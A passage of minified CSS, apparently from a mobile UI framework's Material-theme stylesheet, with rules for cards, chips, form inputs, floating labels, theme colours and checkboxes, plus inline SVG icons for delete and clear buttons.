.col>.card{margin-left:0;margin-right:0}.card-content{position:relative}.card-content-padding{position:relative}.card-content-padding>p:first-child{margin-top:0}.card-content-padding>p:last-child{margin-bottom:0}.card-footer,.card-header{min-height:44px;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.card-footer[valign=top],.card-header[valign=top]{-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.card-footer[valign=bottom],.card-header[valign=bottom]{-webkit-box-align:end;-webkit-align-items:flex-end;-ms-flex-align:end;align-items:flex-end}.card-footer a.link,.card-header a.link{position:relative}.card-footer a.link i.icon,.card-header a.link i.icon{display:block}.card-footer a.icon-only,.card-header a.icon-only{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;margin:0}.card-header{border-radius:4px 4px 0 0}.card-header:after{content:'';position:absolute;background-color:#e1e1e1;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}html.device-pixel-ratio-2 .card-header:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}html.device-pixel-ratio-3 .card-header:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.card-header.no-hairline:after{display:none!important}.card-footer{border-radius:0 0 4px 4px}.card-footer:before{content:'';position:absolute;background-color:#e1e1e1;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}html.device-pixel-ratio-2 .card-footer:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}html.device-pixel-ratio-3 .card-footer:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.card-footer.no-hairline:before{display:none!important}.md .card .list ul,.md .cards-list ul{background:0 0}.md .card{margin:8px;-webkit-box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12);box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)}.md .card-outline{-webkit-box-shadow:none;box-shadow:none;border:1px solid rgba(0,0,0,.12)}.md .card-footer a.link,.md .card-header a.link{text-decoration:none;text-align:center;display:block;-webkit-appearance:none;-moz-appearance:none;appearance:none;background:0 0;padding:0 10px;margin:0;white-space:nowrap;text-overflow:ellipsis;font-size:14px;position:relative;overflow:hidden;font-family:inherit;cursor:pointer;outline:0;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:middle;color:#2196f3;border-radius:4px;line-height:36px;height:36px;text-transform:uppercase;min-width:64px;padding:0 8px;border:none;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);font-weight:500;letter-spacing:.03em}input[type=button].md .card-footer a.link,input[type=button].md .card-header a.link,input[type=submit].md .card-footer a.link,input[type=submit].md .card-header a.link{width:100%}.md .card-footer a.link.active-state,.md .card-header a.link.active-state{background:rgba(0,0,0,.1)}.md .card-footer a.icon-only,.md .card-header a.icon-only{min-width:48px}.md .page-content>.card:last-child{margin-bottom:32px}.md .card-content-padding{padding:16px}.md .card-content-padding>.block,.md .card-content-padding>.list{margin:-16px}.md .card-footer,.md .card-header{min-height:48px;padding:4px 16px}.md .card-header{font-size:16px}.md .card-footer{color:#757575}.md .theme-dark .card{background-color:rgba(255,255,255,.03)}.md .theme-dark .card-outline{border-color:#282829}.md .theme-dark .card-header:after{background-color:rgba(255,255,255,.08)}.md .theme-dark .card-footer{color:rgba(255,255,255,.54)}.md .theme-dark .card-footer:before{background-color:rgba(255,255,255,.08)}@media (orientation:landscape){.md.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .card:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .card:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(8px + constant(safe-area-inset-left));margin-left:calc(8px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .card:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .card:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(8px + constant(safe-area-inset-right));margin-right:calc(8px + env(safe-area-inset-right))}}.md .card-footer.color-theme-red a.link,.md .card-header.color-theme-red a.link,.md .color-theme-red .card-footer a.link,.md .color-theme-red .card-header a.link{color:#f44336}.md .card-footer.color-theme-green a.link,.md .card-header.color-theme-green a.link,.md .color-theme-green .card-footer a.link,.md .color-theme-green .card-header a.link{color:#4caf50}.md .card-footer.color-theme-blue a.link,.md .card-header.color-theme-blue a.link,.md .color-theme-blue .card-footer a.link,.md .color-theme-blue .card-header a.link{color:#2196f3}.md .card-footer.color-theme-pink a.link,.md .card-header.color-theme-pink a.link,.md .color-theme-pink .card-footer a.link,.md .color-theme-pink .card-header a.link{color:#e91e63}.md .card-footer.color-theme-yellow a.link,.md .card-header.color-theme-yellow a.link,.md .color-theme-yellow .card-footer a.link,.md .color-theme-yellow .card-header a.link{color:#ffeb3b}.md .card-footer.color-theme-orange a.link,.md .card-header.color-theme-orange a.link,.md .color-theme-orange .card-footer a.link,.md .color-theme-orange .card-header a.link{color:#ff9800}.md .card-footer.color-theme-gray a.link,.md .card-header.color-theme-gray a.link,.md .color-theme-gray .card-footer a.link,.md .color-theme-gray .card-header a.link{color:#9e9e9e}.md .card-footer.color-theme-white a.link,.md .card-header.color-theme-white a.link,.md .color-theme-white .card-footer a.link,.md .color-theme-white .card-header a.link{color:#fff}.md .card-footer.color-theme-black a.link,.md .card-header.color-theme-black a.link,.md .color-theme-black .card-footer a.link,.md .color-theme-black .card-header a.link{color:#000}.md .card-footer a.link.color-red,.md .card-header a.link.color-red{color:#f44336}.md .card-footer a.link.color-green,.md .card-header a.link.color-green{color:#4caf50}.md .card-footer a.link.color-blue,.md .card-header a.link.color-blue{color:#2196f3}.md .card-footer a.link.color-pink,.md .card-header a.link.color-pink{color:#e91e63}.md .card-footer a.link.color-yellow,.md .card-header a.link.color-yellow{color:#ffeb3b}.md .card-footer a.link.color-orange,.md .card-header a.link.color-orange{color:#ff9800}.md .card-footer a.link.color-gray,.md .card-header a.link.color-gray{color:#9e9e9e}.md .card-footer a.link.color-white,.md .card-header a.link.color-white{color:#fff}.md .card-footer a.link.color-black,.md .card-header a.link.color-black{color:#000}.chip{font-weight:400;display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:middle;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;margin:2px 0}.chip-media{border-radius:50%;text-align:center;color:#fff;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.chip-media img{max-width:100%;max-height:100%;width:auto;height:auto;border-radius:50%;display:block}.chip-label{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;position:relative;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;min-width:0}.chip-delete{text-align:center;cursor:pointer;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;background-repeat:no-repeat}.chip .chip-delete.active-state{opacity:1}.md .chip{font-size:13px;color:rgba(0,0,0,.87);background:rgba(0,0,0,.12);height:32px;line-height:32px;border-radius:16px;padding:0 12px}.md .chip-outline{background:0 0;border:1px solid rgba(0,0,0,.12)}.md .chip-media{width:32px;height:32px;vertical-align:top;border-radius:50%;text-align:center;line-height:32px;color:#fff;font-size:16px;margin-right:-12px}.md .chip-media+.chip-label{margin-right:8px}.md .chip-label+.chip-delete{margin-right:4px}.md .chip-delete{margin-right:-8px;width:24px;height:24px;line-height:24px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M12%202C6.47%202%202%206.47%202%2012s4.47%2010%2010%2010%2010-4.47%2010-10S17.53%202%2012%202zm5%2013.59L15.59%2017%2012%2013.41%208.41%2017%207%2015.59%2010.59%2012%207%208.41%208.41%207%2012%2010.59%2015.59%207%2017%208.41%2013.41%2012%2017%2015.59z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E");background-position:center;background-size:20px 20px;opacity:.54;margin-left:-8px}.md .theme-dark .chip{background:#333;color:rgba(255,255,255,.87)}.md .theme-dark .chip-outline{background:0 0;border-color:#333}.md .theme-dark .chip-delete{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23fff'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M12%202C6.47%202%202%206.47%202%2012s4.47%2010%2010%2010%2010-4.47%2010-10S17.53%202%2012%202zm5%2013.59L15.59%2017%2012%2013.41%208.41%2017%207%2015.59%2010.59%2012%207%208.41%208.41%207%2012%2010.59%2015.59%207%2017%208.41%2013.41%2012%2017%2015.59z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .chip.color-red{background:#f44336;color:#fff}.md .chip.color-red.chip-outline{background:0 0;border-color:#f44336;color:#f44336}.md .chip.color-green{background:#4caf50;color:#fff}.md .chip.color-green.chip-outline{background:0 0;border-color:#4caf50;color:#4caf50}.md .chip.color-blue{background:#2196f3;color:#fff}.md .chip.color-blue.chip-outline{background:0 0;border-color:#2196f3;color:#2196f3}.md .chip.color-pink{background:#e91e63;color:#fff}.md .chip.color-pink.chip-outline{background:0 0;border-color:#e91e63;color:#e91e63}.md .chip.color-yellow{background:#ffeb3b;color:#fff}.md .chip.color-yellow.chip-outline{background:0 0;border-color:#ffeb3b;color:#ffeb3b}.md .chip.color-orange{background:#ff9800;color:#fff}.md .chip.color-orange.chip-outline{background:0 0;border-color:#ff9800;color:#ff9800}.md .chip.color-gray{background:#9e9e9e;color:#fff}.md .chip.color-gray.chip-outline{background:0 0;border-color:#9e9e9e;color:#9e9e9e}.md .chip.color-white{background:#fff;color:#fff}.md .chip.color-white.chip-outline{background:0 0;border-color:#fff;color:#fff}.md .chip.color-black{background:#000;color:#fff}.md .chip.color-black.chip-outline{background:0 0;border-color:#000;color:#000}input[type=date],input[type=datetime-local],input[type=email],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=time],input[type=url],select,textarea{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-appearance:none;-moz-appearance:none;appearance:none;border:none;-webkit-box-shadow:none;box-shadow:none;border-radius:0;outline:0;display:block;padding:0;margin:0;font-family:inherit;background:0 0;resize:none;font-size:inherit;color:inherit}.textarea-resizable-shadow{opacity:0;position:absolute;z-index:-1000;pointer-events:none;left:-1000px;top:-1000px;visibility:hidden}.list input[type=date],.list input[type=datetime-local],.list input[type=email],.list input[type=number],.list input[type=password],.list input[type=search],.list input[type=tel],.list input[type=text],.list input[type=time],.list input[type=url],.list select,.list textarea{width:100%}.list input[type=datetime-local]{max-width:50vw}.list input[type=date],.list input[type=datetime-local]{line-height:44px}.list input[type=date],.list input[type=datetime-local]{text-align:right;-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;width:auto}.list textarea{resize:none;line-height:1.4;height:100px}.list .item-floating-label,.list .item-label{vertical-align:top;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.list .item-input-wrap{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;position:relative}.input{position:relative}.input input,.input select,.input textarea{width:100%}.input-clear-button{opacity:0;pointer-events:none;visibility:hidden;-webkit-transition-duration:.1s;transition-duration:.1s;position:absolute;top:50%;border-radius:50%;border:none;padding:0;margin:0;outline:0;z-index:1;cursor:pointer;background:0 0;left:0}.input-clear-button:after{content:'';position:absolute;width:100%;height:100%;left:0;top:0;background-repeat:no-repeat;background-position:center center}.input-clear-button:before{position:absolute;content:'';left:50%;top:50%}.input-with-value .input-clear-button,.input-with-value~.input-clear-button,.item-input-with-value .input-clear-button{opacity:1;pointer-events:auto;visibility:visible}.input-dropdown,.input-dropdown-wrap{position:relative}.input-dropdown-wrap:before,.input-dropdown:before{content:'';pointer-events:none;position:absolute;top:50%;margin-top:-2px;width:0;height:0;border-left:5px solid transparent;border-right:5px solid transparent;border-top:5px solid #727272;left:2px}.input-dropdown input,.input-dropdown select,.input-dropdown textarea,.input-dropdown-wrap input,.input-dropdown-wrap select,.input-dropdown-wrap textarea{padding-right:14px}.md .list input[type=date],.md .list input[type=datetime-local],.md .list input[type=email],.md .list input[type=number],.md .list input[type=password],.md .list input[type=search],.md .list input[type=tel],.md .list input[type=text],.md .list input[type=time],.md .list input[type=url],.md .list select{height:36px;color:#212121;font-size:16px}.md .list input[type=date]::-webkit-input-placeholder,.md .list input[type=datetime-local]::-webkit-input-placeholder,.md .list input[type=email]::-webkit-input-placeholder,.md .list input[type=number]::-webkit-input-placeholder,.md .list input[type=password]::-webkit-input-placeholder,.md .list input[type=search]::-webkit-input-placeholder,.md .list input[type=tel]::-webkit-input-placeholder,.md .list input[type=text]::-webkit-input-placeholder,.md .list input[type=time]::-webkit-input-placeholder,.md .list input[type=url]::-webkit-input-placeholder,.md .list select::-webkit-input-placeholder{color:rgba(0,0,0,.35)}.md .list input[type=date]:-ms-input-placeholder,.md .list input[type=datetime-local]:-ms-input-placeholder,.md .list input[type=email]:-ms-input-placeholder,.md .list input[type=number]:-ms-input-placeholder,.md .list input[type=password]:-ms-input-placeholder,.md .list input[type=search]:-ms-input-placeholder,.md .list input[type=tel]:-ms-input-placeholder,.md .list input[type=text]:-ms-input-placeholder,.md .list input[type=time]:-ms-input-placeholder,.md .list input[type=url]:-ms-input-placeholder,.md .list select:-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .list input[type=date]::-ms-input-placeholder,.md .list input[type=datetime-local]::-ms-input-placeholder,.md .list input[type=email]::-ms-input-placeholder,.md .list input[type=number]::-ms-input-placeholder,.md .list input[type=password]::-ms-input-placeholder,.md .list input[type=search]::-ms-input-placeholder,.md .list input[type=tel]::-ms-input-placeholder,.md .list input[type=text]::-ms-input-placeholder,.md .list input[type=time]::-ms-input-placeholder,.md .list input[type=url]::-ms-input-placeholder,.md .list select::-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .list input[type=date]::placeholder,.md .list input[type=datetime-local]::placeholder,.md .list input[type=email]::placeholder,.md .list input[type=number]::placeholder,.md .list input[type=password]::placeholder,.md .list input[type=search]::placeholder,.md .list input[type=tel]::placeholder,.md .list input[type=text]::placeholder,.md .list input[type=time]::placeholder,.md .list input[type=url]::placeholder,.md .list select::placeholder{color:rgba(0,0,0,.35)}.md .list textarea{color:#212121;font-size:16px;padding-top:7px;padding-bottom:7px}.md .list textarea.resizable{height:36px}.md .list textarea::-webkit-input-placeholder{color:rgba(0,0,0,.35)}.md .list textarea:-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .list textarea::-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .list textarea::placeholder{color:rgba(0,0,0,.35)}.md .input:after,.md .item-input-wrap:after{-webkit-transition-duration:.2s;transition-duration:.2s}.md .item-input-wrap{min-height:36px}.md .item-input-wrap:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .item-input-wrap:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .item-input-wrap:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .input:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .input:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .input:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .item-floating-label,.md .item-label{font-size:12px;width:100%;color:rgba(0,0,0,.65);-webkit-transition-duration:.2s;transition-duration:.2s;line-height:13px;-webkit-transition-property:color,-webkit-transform;transition-property:color,-webkit-transform;transition-property:transform,color;transition-property:transform,color,-webkit-transform}.md .item-floating-label{-webkit-transform:scale(1.33333333) translateY(18px);transform:scale(1.33333333) translateY(18px);color:rgba(0,0,0,.35);width:auto;max-width:75%;pointer-events:none;-webkit-transform-origin:right;transform-origin:right}.md .item-floating-label~.item-input-wrap input::-webkit-input-placeholder,.md .item-floating-label~.item-input-wrap textarea::-webkit-input-placeholder{color:transparent!important}.md .item-floating-label~.item-input-wrap input:-ms-input-placeholder,.md .item-floating-label~.item-input-wrap textarea:-ms-input-placeholder{color:transparent!important}.md .item-floating-label~.item-input-wrap input::-ms-input-placeholder,.md .item-floating-label~.item-input-wrap textarea::-ms-input-placeholder{color:transparent!important}.md .item-floating-label~.item-input-wrap input::placeholder,.md .item-floating-label~.item-input-wrap textarea::placeholder{color:transparent!important}.md .item-input-focused .item-floating-label,.md .item-input-with-value .item-floating-label{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}.md .item-input-with-value .item-floating-label{color:rgba(0,0,0,.65)}.md .item-input .item-media{-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end}.md .item-input .item-inner{display:block}.md .item-input .item-inner:after{display:none!important}.md .inline-label .item-media,.md .inline-labels .item-media{-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start;padding-top:14px}.md .inline-label .item-inner,.md .inline-labels .item-inner{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.md .inline-label .item-floating-label,.md .inline-label .item-label,.md .inline-labels .item-floating-label,.md .inline-labels .item-label{font-size:16px;width:30%;line-height:1.5;-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start;padding-top:7px}.md .inline-label .item-floating-label+.item-input-wrap,.md .inline-label .item-label+.item-input-wrap,.md .inline-labels .item-floating-label+.item-input-wrap,.md .inline-labels .item-label+.item-input-wrap{margin-right:8px}.md .item-input-with-error-message,.md .item-input-with-info,.md div.input-with-error-message,.md div.input-with-info,.md span.input-with-error-message,.md span.input-with-info{padding-bottom:20px}.md .input-error-message,.md .input-info,.md .item-input-error-message,.md .item-input-info{font-size:12px;line-height:1.4;position:absolute;top:100%;margin-top:4px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;right:0;left:16px}.md .input-info,.md .item-input-info{color:rgba(0,0,0,.45)}.md .input-error-message,.md .item-input-error-message{color:#f44336;display:none}.md .item-input-focused .item-floating-label,.md .item-input-focused .item-label{color:#2196f3}.md .input-focused:after,.md .item-input-focused .item-input-wrap:after{background:#2196f3}.md .item-input-invalid .item-floating-label,.md .item-input-invalid .item-label,.md .item-invalid .item-floating-label,.md .item-invalid .item-label{color:#f44336}.md .item-input-invalid .input-error-message,.md .item-input-invalid .item-input-error-message,.md .item-invalid .input-error-message,.md .item-invalid .item-input-error-message{display:block}.md .item-input-invalid .input-info,.md .item-input-invalid .item-input-info,.md .item-invalid .input-info,.md .item-invalid .item-input-info{display:none}.md .input-invalid:after,.md .item-input-invalid .item-input-wrap:after{background:#f44336}.md .item-input-focused .item-input-wrap:after,.md .item-input-invalid .item-input-wrap:after{-webkit-transform:scaleY(2);transform:scaleY(2)}.md .input-focused:after,.md .input-invalid:after{-webkit-transform:scaleY(2)!important;transform:scaleY(2)!important}.md .input-clear-button{width:24px;height:24px;background:rgba(0,0,0,.12);margin-top:-12px}.md .input-clear-button:after{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E");background-size:16px 16px;opacity:.54}.md .input-clear-button:before{width:48px;height:48px;margin-left:-24px;margin-top:-24px}.md .item-input-wrap .input-clear-button{bottom:6px;margin-top:0;top:auto}.md .theme-dark input[type=date],.md .theme-dark input[type=datetime-local],.md .theme-dark input[type=email],.md .theme-dark input[type=number],.md .theme-dark input[type=password],.md .theme-dark input[type=search],.md .theme-dark input[type=tel],.md .theme-dark input[type=text],.md .theme-dark input[type=time],.md .theme-dark input[type=url],.md .theme-dark select,.md .theme-dark textarea{color:rgba(255,255,255,.87)}.md .theme-dark input[type=date]::-webkit-input-placeholder,.md .theme-dark input[type=datetime-local]::-webkit-input-placeholder,.md .theme-dark input[type=email]::-webkit-input-placeholder,.md .theme-dark input[type=number]::-webkit-input-placeholder,.md .theme-dark input[type=password]::-webkit-input-placeholder,.md .theme-dark input[type=search]::-webkit-input-placeholder,.md .theme-dark input[type=tel]::-webkit-input-placeholder,.md .theme-dark input[type=text]::-webkit-input-placeholder,.md .theme-dark input[type=time]::-webkit-input-placeholder,.md .theme-dark input[type=url]::-webkit-input-placeholder,.md .theme-dark select::-webkit-input-placeholder,.md .theme-dark textarea::-webkit-input-placeholder{color:rgba(255,255,255,.35)}.md .theme-dark input[type=date]:-ms-input-placeholder,.md .theme-dark input[type=datetime-local]:-ms-input-placeholder,.md .theme-dark input[type=email]:-ms-input-placeholder,.md .theme-dark input[type=number]:-ms-input-placeholder,.md .theme-dark input[type=password]:-ms-input-placeholder,.md .theme-dark input[type=search]:-ms-input-placeholder,.md .theme-dark input[type=tel]:-ms-input-placeholder,.md .theme-dark input[type=text]:-ms-input-placeholder,.md .theme-dark input[type=time]:-ms-input-placeholder,.md .theme-dark input[type=url]:-ms-input-placeholder,.md .theme-dark select:-ms-input-placeholder,.md .theme-dark textarea:-ms-input-placeholder{color:rgba(255,255,255,.35)}.md .theme-dark input[type=date]::-ms-input-placeholder,.md .theme-dark input[type=datetime-local]::-ms-input-placeholder,.md .theme-dark input[type=email]::-ms-input-placeholder,.md .theme-dark input[type=number]::-ms-input-placeholder,.md .theme-dark input[type=password]::-ms-input-placeholder,.md .theme-dark input[type=search]::-ms-input-placeholder,.md .theme-dark input[type=tel]::-ms-input-placeholder,.md .theme-dark input[type=text]::-ms-input-placeholder,.md .theme-dark input[type=time]::-ms-input-placeholder,.md .theme-dark input[type=url]::-ms-input-placeholder,.md .theme-dark select::-ms-input-placeholder,.md .theme-dark textarea::-ms-input-placeholder{color:rgba(255,255,255,.35)}.md .theme-dark input[type=date]::placeholder,.md .theme-dark input[type=datetime-local]::placeholder,.md .theme-dark input[type=email]::placeholder,.md .theme-dark input[type=number]::placeholder,.md .theme-dark input[type=password]::placeholder,.md .theme-dark input[type=search]::placeholder,.md .theme-dark input[type=tel]::placeholder,.md .theme-dark input[type=text]::placeholder,.md .theme-dark input[type=time]::placeholder,.md .theme-dark input[type=url]::placeholder,.md .theme-dark select::placeholder,.md .theme-dark textarea::placeholder{color:rgba(255,255,255,.35)}.md .theme-dark .input:after,.md .theme-dark .item-input:not(.item-input-focused) .item-input-wrap:after{background-color:rgba(255,255,255,.08)}.md .theme-dark .item-floating-label,.md .theme-dark .item-label{color:rgba(255,255,255,.54)}.md .theme-dark .item-floating-label{color:rgba(255,255,255,.35)}.md .theme-dark .item-input-with-value .item-floating-label{color:rgba(255,255,255,.54)}.md .theme-dark .input-clear-button{background:#fff}.md .color-theme-red .item-input-focused .item-floating-label,.md .color-theme-red .item-input-focused .item-label{color:#f44336}.md .color-theme-red .input-after:after,.md .color-theme-red .item-input-focused .item-input-wrap:after{background:#f44336}.md .color-theme-green .item-input-focused .item-floating-label,.md .color-theme-green .item-input-focused .item-label{color:#4caf50}.md .color-theme-green .input-after:after,.md .color-theme-green .item-input-focused .item-input-wrap:after{background:#4caf50}.md .color-theme-blue .item-input-focused .item-floating-label,.md .color-theme-blue .item-input-focused .item-label{color:#2196f3}.md .color-theme-blue .input-after:after,.md .color-theme-blue .item-input-focused .item-input-wrap:after{background:#2196f3}.md .color-theme-pink .item-input-focused .item-floating-label,.md .color-theme-pink .item-input-focused .item-label{color:#e91e63}.md .color-theme-pink .input-after:after,.md .color-theme-pink .item-input-focused .item-input-wrap:after{background:#e91e63}.md .color-theme-yellow .item-input-focused .item-floating-label,.md .color-theme-yellow .item-input-focused .item-label{color:#ffeb3b}.md .color-theme-yellow .input-after:after,.md .color-theme-yellow .item-input-focused .item-input-wrap:after{background:#ffeb3b}.md .color-theme-orange .item-input-focused .item-floating-label,.md .color-theme-orange .item-input-focused .item-label{color:#ff9800}.md .color-theme-orange .input-after:after,.md .color-theme-orange .item-input-focused .item-input-wrap:after{background:#ff9800}.md .color-theme-gray .item-input-focused .item-floating-label,.md .color-theme-gray .item-input-focused .item-label{color:#9e9e9e}.md .color-theme-gray .input-after:after,.md .color-theme-gray .item-input-focused .item-input-wrap:after{background:#9e9e9e}.md .color-theme-white .item-input-focused .item-floating-label,.md .color-theme-white .item-input-focused .item-label{color:#fff}.md .color-theme-white .input-after:after,.md .color-theme-white .item-input-focused .item-input-wrap:after{background:#fff}.md .color-theme-black .item-input-focused .item-floating-label,.md .color-theme-black .item-input-focused .item-label{color:#000}.md .color-theme-black .input-after:after,.md .color-theme-black .item-input-focused .item-input-wrap:after{background:#000}.md .item-input-focused.color-red .item-floating-label,.md .item-input-focused.color-red .item-label{color:#f44336}.md .input-after.color-red:after,.md .item-input-focused.color-red .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-green .item-floating-label,.md .item-input-focused.color-green .item-label{color:#4caf50}.md .input-after.color-green:after,.md .item-input-focused.color-green .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-blue .item-floating-label,.md .item-input-focused.color-blue .item-label{color:#2196f3}.md .input-after.color-blue:after,.md .item-input-focused.color-blue .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-pink .item-floating-label,.md .item-input-focused.color-pink .item-label{color:#e91e63}.md .input-after.color-pink:after,.md .item-input-focused.color-pink .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-yellow .item-floating-label,.md .item-input-focused.color-yellow .item-label{color:#ffeb3b}.md .input-after.color-yellow:after,.md .item-input-focused.color-yellow .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-orange .item-floating-label,.md .item-input-focused.color-orange .item-label{color:#ff9800}.md .input-after.color-orange:after,.md .item-input-focused.color-orange .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-gray .item-floating-label,.md .item-input-focused.color-gray .item-label{color:#9e9e9e}.md .input-after.color-gray:after,.md .item-input-focused.color-gray .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-white .item-floating-label,.md .item-input-focused.color-white .item-label{color:#fff}.md .input-after.color-white:after,.md .item-input-focused.color-white .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-black .item-floating-label,.md .item-input-focused.color-black .item-label{color:#000}.md .input-after.color-black:after,.md .item-input-focused.color-black .item-input-wrap:after{background:#f44336}.checkbox i,.icon-checkbox{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.checkbox{position:relative;display:inline-block;vertical-align:middle;z-index:1}.checkbox,label.item-checkbox{cursor:pointer}.checkbox input[type=checkbox],.checkbox input[type=radio],label.item-checkbox input[type=checkbox],label.item-checkbox input[type=radio]{display:none}.checkbox .icon-checkbox,label.item-checkbox .icon-checkbox{-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;display:block}.checkbox .icon-checkbox:after,label.item-checkbox .icon-checkbox:after{content:'';position:absolute}label.item-checkbox{-webkit-transition-duration:.3s;transition-duration:.3s}label.item-checkbox.active-state:after{background-color:transparent}.disabled label.item-checkbox,label.item-checkbox.disabled{opacity:.55;pointer-events:none;opacity:.55!important;pointer-events:none!important}.md .checkbox i,.md .icon-checkbox{width:18px;height:18px;border-radius:2px;border:2px solid #6d6d6d;-webkit-transition-duration:.2s;transition-duration:.2s;background-color:transparent}.md .checkbox i:after,.md .icon-checkbox:after{width:18px;height:18px;left:-2px;top:-2px;-webkit-transition-duration:.2s;transition-duration:.2s;opacity:0;background:no-repeat 